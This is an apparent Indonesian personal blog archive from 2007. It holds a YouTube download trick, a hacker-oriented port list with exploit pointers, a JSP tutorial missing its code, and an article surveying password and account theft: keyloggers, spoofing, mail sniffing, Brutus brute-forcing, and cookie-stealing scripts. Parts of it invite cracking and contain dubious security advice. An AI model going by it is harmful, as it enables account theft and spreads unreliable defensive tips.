outube

Video di Youtube berbeda dengan video yang biasa kita jumpai. Formatnya adalah .FLV yang menurut situs Wikipedia artinya:

“FLV (Flash Video) is a file format used to deliver video over the Internet to the Macromedia Flash Player version 6, 7 or 8. FLV content may also be embedded within SWF files. Notable users of the FLV format include Google Video and YouTube. Flash Video is viewable on most operating systems, via the Macromedia flash player or one of several third-party programs such as MPlayer and VLC media player (since version 0.8.4a).”

Untuk menjalankannya situs YouTube menggunakan satu file flash dengan nama player2.swf. Karena file video didownload secara streaming maka video tidak dengan begitu aja disave. Tapi jangan khawatir ada trick utk mendownloadnya

* Pilih salah satu video pilihanmu.. terus kalau kamu pake Mozilla.
* Klik kanan >> View Page Info
* Klik tab Media. Pada kolom Address cari nama file player2.swf
Contoh: /player2.swf?video_id=6-cstGsQCHY&l=248&t=OEgsToPDskLHgEWZKtRkP5gxvUFFPvXt
* Copy text setelah “video_id=”.
* Trus tutup halaman video kamu. Buka halaman baru… trus masukin alamat: http://youtube.com/get_video?+text yg dicopykan.

Contoh:
http://youtube.com/get_video?video_id=6-cstGsQCHY&l=248&t=OEgsToPDskLHgEWZKtRkP5gxvUFFPvXt

Published in: on October 10, 2007 at 8:40 am Leave a Comment

Daftar Port

Referensi Port-Port ‘Menarik’ – alpha

disusun dari berbagai sumber oleh BigDaddy (bigd@k-elektronik.org)

(chrakerz = the cracking hax0rz! :)
Seringkali saat menjalankan suatu scanner, anda menjumpai port-port terbuka yang cukup familiar. Tabel dibawah berguna sebagai ceklis untuk UNIX maupun NT, sebab seringkali port-port berikut aktif (kadang secara default) walaupun sebetulnya tidak begitu diperlukan (contoh: server khusus web yang secara tidak sengaja juga menjalankan server e-mail, etc). Berikut adalah daftar port, sedikit informasi, dan (jika ada) eksploit yang relevan, tersedia di arsip Kecoak yang baru di-update (exploit search coming soon!). Gunakan informasi ini secara bijaksana :) No. Protokol Label Port Nama Port Keterangan
19 tcp/udp chargen Character Generation Generator karakter ini mengembalikan deretan karakter-karakter. Walaupun sebagian besar layanan yang ada sekarang terbatas ke 512 byte, namun bisa dijumpai server yang mengirimkan karakter secara terus menerus sampai hubungan ke port ini diputuskan. Seringkali di server-server lama, jika jumlah klien yang membuka hubungan mencapai nilai ratusan secara sekaligus, CPU time akan terkonsumsi secara besar-besaran, mebuat sang server merangkak. Serangan tipe Denial of Service paling sederhana adalah dengan me-redireksi keluaran port 19 ke port lain (mentargetkan mesin-mesin Windows NT)
20/21 tcp ftp File Transfer Protocol Protokol untuk menangani pentransferan file(-file) dari satu komputer ke komputer lainnya. Protokol ini menggunakan dua saluran, yang satu sebagai saluran untuk mengendalikan lalulintas data, sedangkan yang satunya lagi untuk dilintasi oleh data itu sendiri. Proses autentifikasi berdasar login/password. FTP adalah metode paling sering digunakan di situs-situs web untuk mengirim file (seringkali akses ‘ftp only’ diberikan kepada para pelanggan webhosting). Siapapun yang berhasil login akan diberikan hak yang sama berdasar id (jadi boleh menulis ke direktori ‘home’ milik user tsb), atau bahkan di banyak server, boleh membaca / tulis direktori milik pengguna lain. Eksploit-eksploit yang beredar termasuk untuk program-program wu_ftpd, ncftpd, ftpbounce, dll.
23 tcp telnet Telnet Metode login jarak jauh yang paling populer. Walaupun tidak seaman ssh (data yang melintasi tidak dienkripsi secara otomatis), masih terlalu banyak server-server yang mengizinkan login jarak jauh langsung tipe ini (sebagian besar UNIX, beberapa VMS). Metode ini pulalah yang paling sering diserang oleh chracker-chracker, terkadang dengan se-membabibuta mengetikkan root/daemon/dll, dan mencobakan password-password default. Seringkali mesin-mesin yang sebenarnya tidak berfungsi melayanin user (seperti dns, webserver, etc) menjalankan fungsi ini walaupun sebetulnya, tidak begitu diperlukan.
25 tcp mail Simple Mail Transfer Protokol pentransferan pesan sederhana, adalah standar de facto untuk internet. Termasuk salah satu port yang dijadikan sasaran eksploit-eksploit, yang berjumlah sampai puluhan saking populernya. Karena protokol ini memerlukan akses berprivilese tinggi (seringkali setara root/admin) supaya bisa menulis ke direktori milik user manapun juga. Sebaiknya dihilangkan bagi mesin-mesin yang tidak begitu memerlukannya.
48 tcp/udp auditd Digital Audit Daemon Digunakan oleh daemon audit komputer-komputer Digital untuk menjalankan tugas-tugas administrasi. Banyak sniffer yang mentargetkan port ini.
53 tcp/udp dns Domain Name Server salah satu layanan yang cukup vital, dijalankan di server-server, berfungsi untuk memberikan informasi berbentuk alamat IP xxx.xxx.xxx.xxx untuk setiap permintaan penterjemahan dari nama-nama domain. Eksploit nameserver bisa dicari di internet atau di arsip kecoak.
79 tcp finger Finger Daemon daemon yang bertugas memberikan informasi mengenai pengguna-pengguna suatu sistem kepada sang peminta (seringkali siapa saja). Pada versi-versi lama Unix, perintah:
finger user@host1@host2@etc…(termasuk firewall)
menjadikan sang peminta lebih anonimus sebab user@host1 akan melihat bahwa peminta berasal dari host2 atau bahkan firewall.
80/
8000/
8080/
dll tcp http WWW, HyperText Transfer Protocol Protokol pentransferan data berformat HTML (webpage-webpage) lainnya dari server kepada publik. Port ini sangat populer dijadikan sasaran para chracker (terutama ditargetkan oleh program-program pelacak kelemahan CGI), sebab banyak program CGI yang bisa dieksploit. Mesin-mesin yang menyediakan servis ‘Frontpage Extensions’ secara default terkenal berlobang besar, dan di-’patch’. Ada juga serangan dari pengunjung yang mencoba mengakses direktori-direktori yang terlindung password (contohnya di situs-situs porno) dengan cara mem-brute force proses otentifikasi (UserID dan Password), sebab serangan semacam ini tidak direkam oleh log server.
110 tcp/udp pop3 Post Office Protocol v3 Protokol standar pemeriksaan email jarak jauh. Biasanya user (atau program e-mail client user) melog-on untuk memeriksa dan mengambil pesan email yang diterima lewat mailbox server. Hilangkan jika anda tidak membutuhkan layanan ini pada suatu server. Protokol ini mengizinkan siapapun untuk memasukkan kombinasi (lewat skrip) user+password secara ‘brute force’ tanpa mencatat log.
111 tcp/udp sunrpc Sun Remote Procedure Call Beberapa portscanner mentargetkan port ini, dan terdapat beberapa program yang mengeksploit port ini (mesin-mesin Sun/Solaris).
139 tcp/udp netbios-ssn NetBIOS Session Service Port inilah yang biasanya digunakan sebagai sarana komunikasi dengan atau antara mesin-mesin Microsoft (NT/95/98). Penyerang seringkali mentargetkan ’shared device’ yang bisa diakses lewat internet. Juga terdapat banyak program ‘nuker’ yang men-denial-of-service-kan mesin-mesin Windows via port 139. Selain di mesin-mesin NT, mesin-mesin Unix juga menjalankan servis di port ini, yaitu Samba, yang memberikan kemudahan bernetwork antara mesin platform Unix dengan mesin Windows. Jalankan ADMSMB scan atau eksploit untuk memeriksa vulnerabilitas.
143 tcp/udp imap2 Interactive Mail Access Protocol Protokol pengaksesan e-mail lainnya. Seringkali berjalan tanpa diperlukan. Mesin-mesin UNIX (terutama Linux) yang menjalankan imap instalasi default terbuka terhadap serangan yang bisa berakibat pemberian privilese root kepada sang chracker.
443 tcp https Hypertext Transfer Protocol-Secure Daemon penerima permintaan tipe http yang berjalan diatas ’secure layer’ (terenkripsi). Lihat keterangan untuk port 80 diatas.
512 tcp exec Remote Process Execution Mengizinkan eksekusi proses jarak jauh dengan sistem autentifikasi berdasar file /etc/passwd.
513 tcp rlogin Remote Login Protocol Port inilah yang digunakan jika anda melakukan ‘rlogin’ ke suatu host. Dengan rlogin, user di host A tidak perlu melewati proses login lewat telnet ke host B seperti biasa, namun bisa langsung masuk ke home directorynya di host B (tanpa password). Jika seorang chracker berhasil menjebol root di salah satu host, rlogin adalah sarana paling cocok untuk digunakan ‘meloncat’ ke host lain dalam network yang sama dan mengambil alih kontrol.


Published in: on October 9, 2007 at 3:23 am Leave a Comment

Tipsssss Internet

Buka sekaligus beberapa windows

Jangan biarkan diri Anda menunggu terlalu lama untuk loading gambar yang tidak Anda perlukan. Untuk mengefektifkan akses website Anda bisa membuka sekaligus beberapa windows. Tapi jangan terlalu banyak (untuk beberapa komputer bisa menyebabkan hang). Untuk membuka jendela baru, dari menu File pilih New lalu pilih Window. Atau gunakan shortcut Ctrl + N.

Efektifkan download Anda

Anda sering download file/software dari internet ? Bila ya maka sebaiknya Anda menggunakan software bantu untuk download seperti GoZilla. Dengan Go!Zilla hasil download Anda lebih terjamin dan yang bagus Anda Anda dapat melakukan pause dan resume.

Menghapus URL history

Tidak ingin ada orang lain yang mengetahui situs apa saja yang barusan Anda buka ? Hapus daftar situs yang terletak pada location bar browser Anda. Bila Anda memakai Netscape, dari menu Edit pilih Preference. Pindah ke Category Navigator. Untuk menghapus daftar situs, klik button dg tulisan Clear Location Bar.

Untuk Internet Explorer 4.x, klik menu View, pilih Internet Options. Pada tab General, klik pada button Clear History.

Untuk Internet Explorer 5.x, klik menu Tools, pilih Internet Options. Selanjutnya sama dg IE 4.x.

Published in: on October 8, 2007 at 8:37 am Leave a Comment

Tutorial JSP

Tutorial
Pemrograman Web Java
Tugas Proyek Perangkat Lunak

Oleh :

Muhamad Fajrin Rasyid (13504055)
Achmad Zaky Syaifudin (13504076)
Nasiruddin Anwar (13504086)
Dadan Ramdan Mangunpraja (13504087)
Ardian Franindo (13504106)
Fitrasani (13504108)

Program Studi Teknik Informatika
Sekolah Teknik Elektro dan Informatika
Institut Teknologi Bandung
2006
Bab I Elemen-elemen JSP

Komentar

Seperti bahasa pemrograman lain, JSP memiliki sintaks khusus untuk memberikan
komentar pada kode program, yaitu “<%– komentar disini –%>”. Komentar ini berguna
untuk memudahkan kita dalam pembacaan program jika suatu saat kode program dibaca
oleh orang lain.

Deklarasi

Deklarasi berguna untuk mendeklarasikan atau menginisiasi suatu variabel dan method.
Suatu variabel atau method tidak akan bisa digunakan jika tidak dideklarasikan. Untuk
memberikan deklarasi pada kode program diberikan sintaks “<%! %>”.

Ekspresi

Berguna untuk menampilkan nilai suatu variabel atau method. Dengan adanya ekspresi
ini kode program bisa menjadi lebih indah dan nyaman untuk dibaca. Selain itu dengan
adanya ekspresi ini, membuat konsep MVC bisa dilakukan secara optimal.

Scriplet

Scriplet berisi kode-kode program untuk pemrosesan. Di scriplet ini tidak boleh terdapat
ekspresi ataupun deklarasi.

Directive

Directive adalah media yang digunakan JSP untuk mengirimkan “pesan” ke JSP container.
Directive berguna untuk melakukan setting nilai global seperti deklarasi class atau method.
Setting yang dilakukan oleh directive berlaku pada seluruh halaman (hanya halaman itu saja).
Berikut sintaks directive :

Ada 3 jenis directive dalam jsp yang terbagi sesuai dengan fungsinya. Ketiga directive
tersebut adalah :
1. page directive
Dengan page directive ini, suatu halaman JSP bisa diberikan informasi tentang
package-pakage apa yang akan diimport, halaman mana yang ditampilkan ketika
terjadi error, dll. Berikut ini beberapa atribut dari page directive untuk
memberikan informasi pada suatu halaman :
Atribut language
Atribut ini digunakan untuk memberikan informasi bahasa apa yang digunakan.
Memang untuk saat ini bahasa yang digunakan oleh JSP hanya java saja. Akan
tetapi atribut ini dibuat untuk mensuppport agar kedepannya apabila JSP engine
mendukung bahasa pemrograman lain.

Atribut import
Atribut ini digunakan untuk memberikan informasi pakage apa saja yang
dibutuhkan dalam suatu halaman jsp. Apabila lebih dari satu package yang
diimport maka dipisahkan tanda koma (,).

Atribut info
Atribut ini digunakan hanya untuk memberikan informasi tentang suatu halaman.
Misalnya kita ingin memberikan info bahwa halaman jsp yang telah kita buat
akan kita cantumkan nama kita.

Atribut errorPage
Atribut ini menentukan halaman mana yang akan di-redirect ketika terjadi error
pada halaman jsp. Dengan adanya atribut ini maka jika halaman jsp error akan diredirect
ke halaman nilai atribut tersebut sehingga akan mengurangi terjadinya
hal-hal yang tidak diinginkan semisal, hacking yang umumnya terjadi karena
adanya error dalam web.

Atribut contentType
Suatu halaman web dapat diketahui isinya dengan variable contentType dalam
protocol HTTP. Dengan atribut ini pulalah kita juga akan merepresentasikan isi
dari halaman web kita, bias berupa gambar, pdf, text, dll. Nilai defaultnya adalah
text/html

Atribut session
Apabila suatu halaman ingin menggunakan session sebagai variable bagi user,
maka session ini diisi dengan nilai “true”

Untuk lebih mengefektifkan kode program, penggunaan atribut bisa dilakukan
sekaligus. contoh :

2. include directive
include directive ini berguna jika kita ingin menyisipkan isi suatu halaman dalam
kode kita. Tidak seperti page directive yang memiliki banyak atribut, include
directive hanya mempunyai satu atribut yaitu “file” yang nilainya merupakan file
yang isinya akan disisipkan dalam kode. Berikut contoh sintaks yang digunakan :

URL file yang akan disisipkan harus diawali tanda “/”.
Bab II Pemrograman JSP

Hello world

Langkah paling awal dalam belajar pemrogaman adalah membuat output “hello world”
sebagai tanda sapaan bagi JSP kepada dunia. Langkah ini juga bisa dijadikan
benchmarking terhadap suatu bahasa pemrograman. Bahasa pemrograman yang simple
biasanya memiliki kode yang paling singkat untuk menuliskan “hello world”

Variabel

Dalam pemrograman, variabel digunakan sebagai buffer untuk tempat penyimpanan data
sementara. Seperti bahasa pemrograman lain, JSP juga memiliki aturan dalam pembuatan
variable. Karena berbasiskan java, sehingga aturan variable dalam JSP mirip dengan java.

Berikut ini beberapa point penting tentang variable dalam JSP
- case sensitive
- harus dideklarasi
- variable scope ada 3 : private, protected, dan public
- predefine variable : response, request
- konstanta menggunakan sintaks “static”.
Contoh :

Operator

Operator digunakan untuk melakukan operasi/manipulasi terhadap suatu variable atau
konstanta. Ada berbagai macam operator seperti aritmatika, kondisional, string, logika.
Berikut beberapa penggunaan operator :

Control Flow Pemilihan

If
If cocok digunakan untuk control pemilihan untuk satu kasus. Apabila ada kasus selain
kondisi yang diminta maka tidak akan dieksekusi (hanya lewat).
Contoh :

if .. else, else if
Prinsipnya sama seperti if tunggal di atas, akan tetapi dengan pemakaian else, maka
control bisa dilakukan untuk lebih dari satu kasus.

Pada contoh di atas, untuk semua kasus disediakan control penangnannya, apabila tidak
memenuhi “berhasil” atau “Gagal” akan masuk ke “tidak apa-apa”.
switch .. case, break
Mirip seperti if..else if.., switch…case juga digunakan untuk control suatu kasus. Berbeda
dengan if..else.., switch..case… penggunaannya lebih simple dan mudah.

Control Flow Pengulangan

While
Kontrol pengulangan ini baik digunakan apabila batas/basis nya diketahui.

Do .. while
Sama halnya dengan while, do..while juga untuk pengulangan jika batasnya tidak
menentu. Akan tetapi do..while minimal akan mengeksekusi satu loop, Jadi
bagaimanapun keadaannya do..while ini akan mengeksekusi minimal satu loop.
For
Untuk mengeksekusi pengulangan dengan basis/batas tertentu, penggunaan for sangat
tepat sekali. Contohnya, untuk menuliskan 10 bilangan pertama.

Object request

Object ini merupakan object yang sudah diciptakan oleh jsp (predefine) sehingga kita
hanya menggunakannya saja. Guna object ini adalah untuk menangani request yang
datang dari user. Beberapa method yang penting dari object ini adalah :
request.getParameter()
Method ini digunakan untuk mendapatkan nilai dari variable yang dipassing lewat HTTP
baik cara GET atau POST. Teknik passing variable ini biasa digunakan untuk
penanganan form dalam suatu aplikasi web.
request.getRemoteAddr()
Method ini mengembalikan IP address dari client yang meminta request.
request.getRemoteHost()
Method ini mengembalikan nama dari client yang melakukan request.
request.getServerName()
Method ini akan mengembalikan nama host dari server yang menerima request.
request.getServerPort()
Method ini mengembalikan nilai port yang digunakan oleh server.

Object response

Jika object request digunakan untuk menangani request dari client ke server, maka object
response menangani aksi dari diberikan server kepada client.
Beberapa method dari object response yang penting adalah :
response.sendRedirect(string)
method ini berguna untuk melempar url dari url semula ke url yang dijadikan parameter
dalam method ini. Misalkan response.sendRedirect(http://www.google.com), maka
halaman web dari client akan diberikan aksi oleh response JSP ini untuk membuka
halaman www.google.com.

Object session

Object ini digunakan untuk penanganan session, yaitu penampungan variabel untuk client
yang disimpan disisi server. Session biasanya dimanfaatkan untuk sistem login aplikasi
web.
response.setAttribute(string,string)
untuk menanamkan variabel session dalam server digunakan method ini, parameter string
pertama merupakan nama session dan parameter string kedua merupakan nilai dari
session tersebut.
response.getAttribute(string)
method ini berguna untuk mendapatkan variabel session yang sudah ditanam. Parameter
string adalah nama session yang akan diambil nilainya.
Bab III Pembuatan Aplikasi JSP

Koneksi Database

Database merupakan bagian vital dari suatu aplikasi, hampir semua aplikasi berbasis web
membutuhkan database sebagai tempat penyimpanan data-data yang dibutuhkan aplikasi.
Kali ini kita akan menggunakan database MySQL sebagai engine database kita. Untuk itu
dibutuhkan JDBC API MySQL sebelum menggunakan database MySQL dalam JSP.
Selain itu dibutuhkan database server MySQL dalam keadaan running.
Untuk mengecek apakah database sudah terkoneksi dengan JSP, buatlah kode program
seperti berikut :

jika kode di atas dieksekusi dan menghasilkan output “koneksi berhasil” maka database
mysql dan jsp berhasil terkoneksi. Namun apabila sebaliknya, anda harus mengecek lagi
bagian apa yang kurang, apakah driver Mysqlnya(API) , database servernya belum
dijalankan, atau user, password, nama databasenya salah. Pada kode di atas user=”root”
dan password = “”

Input data ke Database

Database bisa kita manipulasi baik itu input, retrieve, delete atau update data. Untuk
melakukan input data pada database MySQL digunakan perintah SQL sebagai berikut

Kali ini kita akan latihan menginput data pada database dari sebuah form HTML.
Buatlah form HTML sebagai berikut

atribut action pada tag form diatas menyatakan url file yang akan menangani request dari
user apabila user melakukan submit dari form di atas. Dalam kasus di atas, kita buat file
input.jsp untuk menangani request dari form di atas.

Retrieve data dari Database

Untuk mendapatkan data data yang kita input ke database di atas kita gunakan sintaks
SQL sebagai berikut :

Kita akan mencoba mendapatkan data dari pengguna yang kita input di atas dengan
kondisi tertentu. Misalkan pengguna dengan nama tertentu.
cari.html

Aplikasi Login

Sering kita menggunakan fasilitas login pada yahoo, blog, atau email kita sendiri.
Bagaimanakah login bekerja? Pada dasarnya proses login hanya membandingkan antara
masukan dari user dengan data yang sudah tersimpan dalam database. Namun agar server
tau bahwa user berhasil melakukan proses login maka digunakanlah session untuk
menyimpan variabel sebagai tanda bahwa user sudah melakukan login. Jika suatu ketika
user melakukan logout, maka yang terjadi yaitu penghapusan variabel session di server.
Sehingga ketika user masuk ke halaman web lagi, akan ditanyakan user dan password.
Berikut kode HTML form untuk login

Membuat Blog

Blog saat ini menjadi tren sendiri bagi para penggemar internet. Dengan blog mereka bisa
berbagi cerita, ilmu atau pengalaman. Berbagai situs menyediakan layanan blog gratis
yang bisa dibuat dalam 10 menit atau kurang. Namun bagaimana proses pembuatan blog
itu sendiri? kita akan coba eksplorasi
Sebagai database tempat penyimpanan yang nantinya digunakan untuk blog, kita akan
membuat tabel dengan nama blog yang memiliki atribut id, waktu, judul, header, isi.
Sintaks SQL nya seperti berikut :

Setelah tabel dibuat, tugas anda adalah mengisi tabel tersebut dari sebuah form HTML.
buatlah form HTML seperti berikut ini :

Untuk file blog.jsp sebagai berikut :

Setelah anda membangun backendnya, kini untuk menampilkan isi dari data tersebut
sehingga tampil seperti layaknya blog yang sesungguhnya. Buatlah halaman web sesuai
selera anda dan sisipkan fungsi JSP untuk menampilkan blog berikut :

Published in: on at 8:22 am Leave a Comment

Pencurian password

Pencurian password, pengambilalihan account, merupakan hal yang sering terjadi
di dunia cyber. Bukan hal yang sulit untuk melakukannya, namun banyak para
newbie yang terus saja bertanya-tanya.. “Bagaimana cara mendapatkan password
email orang lain?” atau pertanyaan yang paling sering saya terima ialah..
“Bagaimana cara anda mendapatkan password saya?” :P
Untuk pertanyaan-pertanyaan itulah artikel ini ditulis, semoga bisa menambah
wawasan anda dan membuka pikiran anda tentang betapa pentingnya menjaga
account saat berada di tempat-tempat rawan.
0 [0XFFF0000] Bagaimana Mendapatkannya?
Ada banyak cara untuk mendapatkan suatu password. Beberapa diantaranya tidak
membutuhkan keahlian khusus. Berikut adalah cara-cara yang paling umum dan
paling sering digunakan:
[1]. Social Engineering
[2]. KeyLogger
[3]. Web Spoofing
[4]. Menghadang Email
[5]. Password Cracking
[6]. Session Hijacking
[7]. Menjadi Proxy Server
[8]. Memanfaatkan Kelalaian User Dalam Penggunaan Fitur Browser
[9]. Googling
[1]. Social Engineering
Social Engineering adalah nama suatu tehnik pengumpulan informasi dengan
memanfaatkan celah psikologi korban. Atau mungkin boleh juga dikatakan sebagai
“penipuan” :P Sosial Engineering membutuhkan kesabaran dan kehati-hatian agar
sang korban tidak curiga. Kita dituntut untuk kreatif dan mampu berpikiran
seperti sang korban.
Social Engineering merupakan seni “memaksa” orang lain untuk melakukan sesuatu
sesuai dengan harapan atau keinginan anda. Tentu saja “pemaksaan” yang
dilakukan tidak secara terang-terangan atau diluar tingkah laku normal yang
biasa dilakukan sang korban.
Manusia cenderung untuk percaya atau mudah terpengaruh terhadap orang yang
memiliki nama besar, pernah (atau sedang berusaha) memberikan pertolongan,
dan memiliki kata-kata atau penampilan yang meyakinkan. Hal ini sering
dimanfaatkan pelaku social engineering untuk menjerat korbannya. Seringkali
sang pelaku membuat suatu kondisi agar kita memiliki semacam ketergantungan
kepadanya.Ya,tanpa kita sadari dia mengkondisikan kita dalam suatu masalah dan
membuat ( seolah – olah hanya ) dialah yang bisa mengatasi masalah itu. Dengan
demikian,tentu kita akan cenderung untuk menuruti apa yang dia instruksikan
tanpa merasa curiga.
Sosial Engineering adakalanya menjadi ancaman serius. Memang sepertinya tidak
ada kaitan dengan teknologi, namun sosial engineering tetap layak diwaspadai
karena bisa berakibat fatal bagi sistem anda. Why?? Karena bagaimanapun juga
suatu komputer tetap saja tidak bisa lepas dari manusia. Ya, tidak ada satu
sistem komputerpun di muka bumi ini yang bisa lepas dari campur tangan
manusia. ehebat apapun pertahanan anda, jika anda sudah dikuasai oleh attacker
melalui social engineering, maka bisa jadi anda sendirilah yang membukakan
jalan masuk bagi sang attacker.
# Contoh Social Engineering sederhana:
Baca Attachment[Pembalasan Untuk Sang Admin - SOcial Engineering]
[2]. KeyLogger
KeyLogger adalah software yang dapat merekam aktivitas user. Hasil rekaman itu
biasa disimpan berupa teks atau gambar. KeyLogger bekerja berdasarkan ketukan
keyboard user. Aplikasi ini mampu mengenali form-form sensitif seperti form
password misalnya.
Ada cara aman untuk menghindari keyloger:
1. Gunakan password dengan karakter special seperti !@#$%^&*(){}[]. Kebanyakan
keyloger akan mengabaikan karakter ini sehingga sang pelaku (pemasang
keyloger) tidak akan mendapatkan password anda yang sebenarnya.
2. Persiapkan password dari rumah, simpan dalam bentuk teks. Saat ingin
memasukkan password, tingal copy-paste ajah. Keyloger akan membaca password
anda berdasarkan ketukan keyboard. Namun cara ini agak beresiko. Mengapa?
karena saat anda melakukan copy, data anda akan tersimpan di clipboard. Saat
ini banyak dijumpai software-software gratis yang bisa menampilkan data dalam
clipboard.
[3]. Web Spoofing
Masih ingat kasus pecurian Account sejumlah nasabah Bank BCA? Ya, itulah salah
satu contoh nyata dari Web spoofing. Inti dari tehnik ini ialah dengan
memanfaatkan kesalahan user saat mengetikkan alamat situs pada address bar.
Pada dasarnya, Web Spoofing adalah usaha untuk menipu korban agar mengira dia
sedang mengakses suatu situs tertentu, padahal bukan.
Pada kasus bank BCA, pelaku membuat situs yang sangat mirip dan identik dengan
situs aslinya sehingga sang korban yang terkecoh tidak akan merasa ragu
mengisikan informasi sensitif seperti user name dan Passwordnya. Padahal,
karena situs tersebut adalah situs tipuan, maka semua informasi berharga tadi
terekam oleh webserver palsu, yaitu milik sang pelaku.
[4]. Menghadang Email
Menghadang email? Ya, dan sangat mudah untuk melakukan hal ini. Salah satu
cara adalah dengan menggunakan mailsnarf yang terdapat pada utility dsniff.
Cara kerja Mailsnarf adalah dengan menghadang paket data yang lewat di
Internet dan menyusunnya menjadi suatu email utuh.
Dsniff dan mailsnift merupakan software bekerja atas dasar WinPcap (setara
dengan libcap pada Linux) yaitu suatu library yang menangkap paket-paket data.
Paket-paket yang ditangkap ini akan disimpan dalam bentuk file oleh Windump,
sedangkan Dsniff dan MailSnarf bertindak lebih jauh lagi yaitu menganalisa
paket-paket data ini dan menampilkan password (dsniff) atau isi email
(mailsnarf).
Baca artikel terkait pada arsip lama :)
[5]. Password Cracking
“Hacking while sleeping.” itulah ungkapan yang biasa dipakai oleh orang-orang
yang melakukan password cracking. Mengapa? Karena pada umumnya dibuthkan waktu
yang lama untuk melakukan pasword cracking. Bisa berjam-jam, bahkan berhari -
hari! Semua itu tergantung dari target, apakah sang target menggunakan
password yang umum, password memiliki panjang karakter yang tidak biasa, atau
password memiliki kombinasi dengan karakter-karakter special.
Salah satu software yang biasa digunakan untuk melakukan hal ini ialah dengan
mengunakan Brutus, salah satu jenis software remote password cracker yang
cukup terkenal. Brutus bekerja dengan teknik dictionary attack atau
bruce-force attack terhadap port-port http, POP3,ftp, telnet, dan NetBIOS.
Dictionary Attack bekerja dengan mencobakan kata-kata yang ada dalam kamus
password. Sedangkan brute – force attack bekerja dengan mencobakan semua
kombinasi huruf, angka, atau karakter.
Brute Force Atack bekerja sangat lambat dan membutuhkan waktu yang lama
tergantung dari jenis spesifikasi komputernya dan panjang karakter
passwordnya. Saat ini telah banyak situs yang menutup akses terhadap akses
terhadap usaha login yang secara terus-menerus tidak berhasil.
Jika anda ingin melakukan password Cracking, silahkan pilih – pilih sendiri
aplikasinya di halaman Member – spyrozone.tk.
[6]. Session Hjacking
Session hijacking dewasa ini semakin marak dikalangan para attacker. Session
Hijacking biasa dilakukan dengan melakukan peniruan cookies. Jadi pada
intinya, kita harus bisa meniru cookies sang korban untuk mendapatkan sesi
loginnya.
Lalu bagaimana cara mendapatkan cookies sang korban?
1. Dengan analisa Cookies. Cara ini relatif sulit dilakukan.
2. Mencuri Cokies.
Misalnya Sang Attacker ingin mendapatkan account si A. Sang Attacker bisa
dengan mudah membuat semacam script Java Script yang disisipkan dalam email
untuk dikirim ke korban.Saat korban membuka email itu, tanpa sadar cookiesnya
akan dicuri dan direkam ke suatu webserver dengan memanfaatkan suatu script
PHP.
Belakangan ini yang paling sering menjadi incaran adalah account Friendster.
Ada yang menyisipkan suatu scipt lewat testimonial, ada yang menyisipkannya di
profilnya sendiri untuk mencuri cookies sang korban dan lain sebagainya. Saya
memiliki tips untuk ini:
1. Jangan menggunakan browser InternetExplorer saat ingin membuka profil orang
lain. Catat alamat profil yang ingi anda lihat,logout terlebih dahulu dari
account anda dan bersihkan semua cookies, baru kemudian bukalah profil
Friendster tujuan.
2. Ketika menerima testimonial, periksa terlebih dahulu source codenya. Apakah
disana terdapat script asing atau kata-kata yang identik dengan pembajakan
seperti : “HACKED”, “DEFACED”, “OWNED”.. dll.. Jika ragu-ragu……. reject
ajah..
3. Waspada ketika tanpa suatu alasan yang jelas tiba-tiba anda logout dengan
sendirinya dari account anda. Saat anda diminta memasukkan username dan
password, lihat dulu addressbar anda! apakan anda sedang berada di situs
yang semestinya atau tidak. Periksa source code halaman tersebut.Lihat pada
form action, kemana informasi anda nantinya akan dikirim.
Sebenarnya session hijacking bisa dicegah jika saja sang penyedia layanan
memperhatikan hal-hal berikut:
1. Menetapkan session identifier yang unik
2. Menetapkan sistem identifier berpola acak
3. Session identifier yang independen
4. Session identifier yang bisa dipetakan dengan koneksi client side.
Fenomena lain adalah,hingga saat artikel ini diterbitkan,ternyata masih banyak
dijumpai para user yang tidak melakukan sign out setelah membuka accountnya.
Dengan demikian, orang lain yang mengunakan komputer itu dan membuka website
yang sama dengan yang telah dibuka oleh orang pertama akan otomatis login ke
account sang korban.
[7]. Menjadi Proxy Server
Kita bisa mengumpulkan informasi dengan menjadi proxy server bagi korban
untuk dapat berselancar. Dengan menjadi proxy server, seluruh identitas sang
peselancar bisa menjadi milik kita.
[8]. Memanfaatkan Kelalaian user dalam penggunaan fitur browser
Setiap browser tentunya memiliki fitur yang ditujukan untuk kemudahan dan
kenyamanan penggunanya dalam berselancar. Diantaranya ialah dengan adanya
cache dan Password Manager.
Di Internet tentunya banyak suatu website yang isinya tidak berubah dalam
beberapa hari (Contohnya spyrozone.tk nich.. hehehe ;) Nah, untuk situs yang
seperti ini cache menjadi hal yang sangat berguna. Cache akan menyimpan
file-file hasil browsing sehinga nantinya jika anda berkunjung lagi ke situs
tersebut browser tidakperlu lagi melakukan download untuk kedua kalinya dari
server sehingga setiap halaman situs yang telah anda buka sebelumnya akan
terbuka dengan lebih cepat. Semua itu biasanya diatur oleh header time to
live.
Lho, bagaimana dengan situs-situs penyedia berita yang selalu up to date?
Untuk site yang seperti itu, time to live-nya akan di set=0 sehinga nantinya
anda akan terus melakukan download setiap kali berkunjung.
Cukup nyaman bukan? Ya, tapi ancaman mulai timbul. Cobalah kini anda jelajahi
opsi-opsi yang berkaitan dengan cache pada browser anda. Tentu anda bisa
menemui bahwa ada fasilitas untuk menentukan berapa besarnya file temporary
yang bisa disimpan di harddisk. Cari juga lokasi dimana file-file tersebut
akan disimpan.
Coba anda buka folder tersebut, anda akan menemui file-file html & file-file
gambar dari site-site yang sudah anda kunjungi. Pada Browser IE, anda bisa
melihat lokasi file cache dengan menjelajahi menu Tools —> Internet options
—> Settings
Lalu apa yang bisa didapatkan?? toh cuma file-file “sampah”?? Hmm… sekarang
coba anda copy semua file yang ada di sana ke suatu folder. Lalu bukalah
salah-satu file htmlnya. Jika itu komputer publik,anda bisa mengetahui situs
apa saja yang telah diakses oleh oleh orang sebelum anda.
Hmm.. hanya dengan melihat file temporary anda bahkan bisa melihat password
dan dll.Banyak saya temui situs yang menyimpan password dan menampilkannya
pada url. Tentunya anda juga pasti sering membacanya di berbagai tutorial.
Kebanyakan browser pada saat ini memiliki fasilitas untuk menyimpan password.
Misalnya saat meggunakan Mozilla Firefox, anda pasti sering menerima kotak
dialog konfirmasi yang menanyakan apakah anda ingin password anda disimpan
atau tidak oleh PasswordManager.Kebanyakan user cenderung untuk memilih opsi
YES, entah itu dengan penuh kesadaran atau memang mereka tidak tau ( baca:
tidak mau tau) apa maksud dari kotak dialog itu.
Orang lain yang kemudian mengunakan browser itu bisa dengan sangat mudah
mendapatkan password korban dengan memasuki menu Tools —> Options —>
Security –> Saved password.
Contoh lain adalah fasilitas wand password yang dimiliki oleh browser Opera.
Saat anda memasukkan user name dan password pada suatu form dan menekan
